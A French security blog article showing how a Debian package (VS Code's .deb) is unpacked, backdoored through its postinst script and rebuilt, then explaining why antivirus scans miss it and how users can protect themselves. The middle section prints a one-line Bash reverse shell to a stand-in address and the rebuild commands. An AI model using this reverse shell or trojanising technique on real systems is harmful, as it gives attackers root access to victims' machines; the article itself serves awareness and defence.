2023-09-04 08:50 Temps de lecture : 10 min

Comment les packages DEB sont détournés et comment les détecter

Points essentiels à retenir

  • Les paquets DEB représentent une cible facile pour les manipulations, permettant à des acteurs malveillants d'introduire des codes nuisibles dans votre système lors de leur installation avec des privilèges d'administrateur.
  • Il est ardu de déceler les paquets DEB corrompus, car ils peuvent échapper à la vigilance des logiciels antivirus et des solutions de sécurité en nuage, telles que VirusTotal.
  • Pour vous prémunir, abstenez-vous de télécharger des paquets DEB à partir de sources inconnues, privilégiez les plateformes de téléchargement officielles ou les sites fiables de la communauté, et envisagez d'installer des outils de protection pour sécuriser votre système Linux contre les menaces réseau.

Les fichiers DEB constituent le format principal de distribution de logiciels sur les systèmes Linux basés sur Debian.

L'installation des paquets DEB nécessite l'usage d'un gestionnaire de paquets tel que dpkg, avec des autorisations de niveau racine. C'est une faille que les pirates exploitent pour injecter des portes dérobées dans ces paquets. L'exécution de ces paquets via dpkg ou tout autre gestionnaire de paquets déclenche l'exécution du code malveillant, compromettant ainsi la sécurité de votre système.

Examinons de plus près les méthodes de manipulation des paquets DEB et les mesures que vous pouvez prendre pour vous protéger.

Comment les paquets DEB sont-ils compromis ?

Avant d'explorer les techniques de compromission des paquets DEB, penchons-nous sur la structure d'un paquet DEB. À des fins d'illustration, je vais télécharger le paquet DEB de Microsoft Visual Studio Code à partir du site officiel de Microsoft. C'est précisément le paquet que vous utiliseriez pour installer VS Code sur Linux.

Téléchargement : Code Visual Studio

Une fois le paquet ciblé téléchargé, il est temps de le décompresser. Vous pouvez extraire le contenu d'un paquet DEB à l'aide de la commande dpkg-deb, accompagnée de l'option -R, suivie du chemin où stocker le contenu :

dpkg-deb -R <nom_du_paquet> <chemin>

Cette commande extraira le contenu du paquet VS Code.

En explorant les dossiers, vous trouverez plusieurs répertoires, mais celui qui nous intéresse est le répertoire DEBIAN. Ce répertoire contient les scripts du mainteneur, qui sont exécutés avec les privilèges root lors de l'installation. Comme vous le devinez, les pirates modifient les scripts dans ce répertoire.

Dans cette démonstration, je vais modifier le script postinst en y intégrant un simple shell TCP inversé Bash en une seule ligne. Comme son nom l'indique, ce script est exécuté une fois que le paquet est installé sur le système.

Il contient des instructions qui finalisent les configurations, telles que la mise en place de liens symboliques et la gestion des dépendances. Vous trouverez une multitude de coquilles inversées différentes sur Internet, la plupart fonctionnant de la même manière. Voici un exemple de coquille inversée en une seule ligne :

bash -i >& /dev/tcp/127.0.0.1/42069 0>&1

Explication de la commande :

  • bash : c'est la commande qui lance le shell Bash.
  • -i : cette option indique à Bash de s'exécuter en mode interactif, permettant la saisie et l'affichage de commandes en temps réel.
  • >& /dev/tcp/ip/port : cela redirige la sortie standard et l'erreur standard vers un socket réseau, établissant une connexion TCP avec l'adresse IP et le port spécifiés.
  • 0>&1 : cette instruction redirige l'entrée et la sortie vers le même emplacement, à savoir la prise réseau.

Pour les non-initiés, un shell inversé est un code qui, lorsqu'il est exécuté sur la machine cible, initie une connexion avec la machine du pirate. Les shells inversés sont un moyen efficace de contourner les restrictions de pare-feu, car le trafic est généré par la machine située derrière le pare-feu.

Voici le script modifié :

Comme vous le voyez, tout est identique, à l'exception d'une seule ligne ajoutée, notre shell inversé Bash. Il faut maintenant recréer les fichiers au format « .deb ». Pour cela, utilisez la commande dpkg avec l'option --build ou dpkg-deb avec l'option -b, en précisant le chemin d'accès au contenu extrait :

dpkg --build <répertoire>
dpkg-deb -b <répertoire>

Le paquet DEB compromis est maintenant prêt à être diffusé sur des sites malveillants. Simulons un scénario où une victime télécharge ce paquet DEB sur son système et l'installe comme n'importe quel autre paquet standard.

La partie supérieure du terminal correspond à la perspective de la victime, et la partie inférieure, à celle du pirate. La victime installe le paquet avec la commande sudo dpkg -i, et le pirate attend patiemment les connexions entrantes en utilisant la commande netcat sous Linux.

Une fois l'installation terminée, le pirate obtient une connexion shell inversée, et dispose maintenant d'un accès root au système de la victime. Vous comprenez donc comment les paquets DEB peuvent être compromis. Examinons maintenant comment se protéger.

Comment savoir si un paquet DEB est malveillant ?

Maintenant que vous savez que des paquets DEB infectés existent, vous vous demandez probablement comment les détecter. Vous pouvez commencer par utiliser un logiciel antivirus Linux tel que ClamAV. Malheureusement, une analyse ClamAV du paquet n'a pas signalé de danger. Voici le résultat de l'analyse :

Ainsi, à moins de disposer d'une solution antivirus haut de gamme (ce qui n'est pas une garantie absolue de ne pas être piraté), il est assez difficile de repérer les paquets DEB malveillants. Tentons une analyse avec une solution en nuage telle que le site web VirusTotal :

Comme vous pouvez le constater, VirusTotal n'a détecté aucun problème. La seule façon de se prémunir contre de telles menaces est de respecter les règles de sécurité élémentaires, comme ne pas télécharger de fichiers à partir de sources non fiables, toujours vérifier le hachage d'un fichier et, en général, éviter d'installer des logiciels d'origine douteuse.

Internet regorge de menaces de ce type. Pour naviguer sans mettre en péril vos données, faites preuve de vigilance et visitez uniquement des sites de confiance. Pour Linux, vous devriez aussi vérifier si le logiciel que vous téléchargez existe en variante AppImage, car ces fichiers sont autonomes, peuvent être mis en bac à sable et isolés de votre système.

Ne téléchargez pas de paquets DEB à partir de sources aléatoires !

Les paquets DEB ne sont pas intrinsèquement nuisibles, mais ils peuvent être aisément manipulés par des pirates pour nuire aux utilisateurs imprudents. Comme nous l'avons démontré, il est facile d'ouvrir un paquet DEB et d'y ajouter du code malveillant avec quelques commandes, ce qui en fait un vecteur courant pour la diffusion de logiciels malveillants.

Même les portes dérobées les plus simples dans les paquets DEB échappent aux meilleures solutions antivirus. La meilleure solution est donc de jouer la carte de la sécurité, de faire preuve de bon sens lorsque vous naviguez sur le web, et de télécharger des logiciels uniquement à partir de sites de téléchargement officiels ou de sources approuvées par la communauté.

Maintenant que vous êtes conscient des risques liés à l'installation de paquets DEB provenant de sites inconnus, vous devez faire preuve de prudence lors de l'installation de nouveaux logiciels. Cependant, il ne suffit pas de faire attention à ce que vous installez. Votre système Linux peut également être la cible d'attaques réseau.

Pour garantir votre sécurité face à une attaque réseau, envisagez d'installer des outils de sécurité réseau.

Auteur
France

Rédacteur tech, guides pratiques et astuces numériques.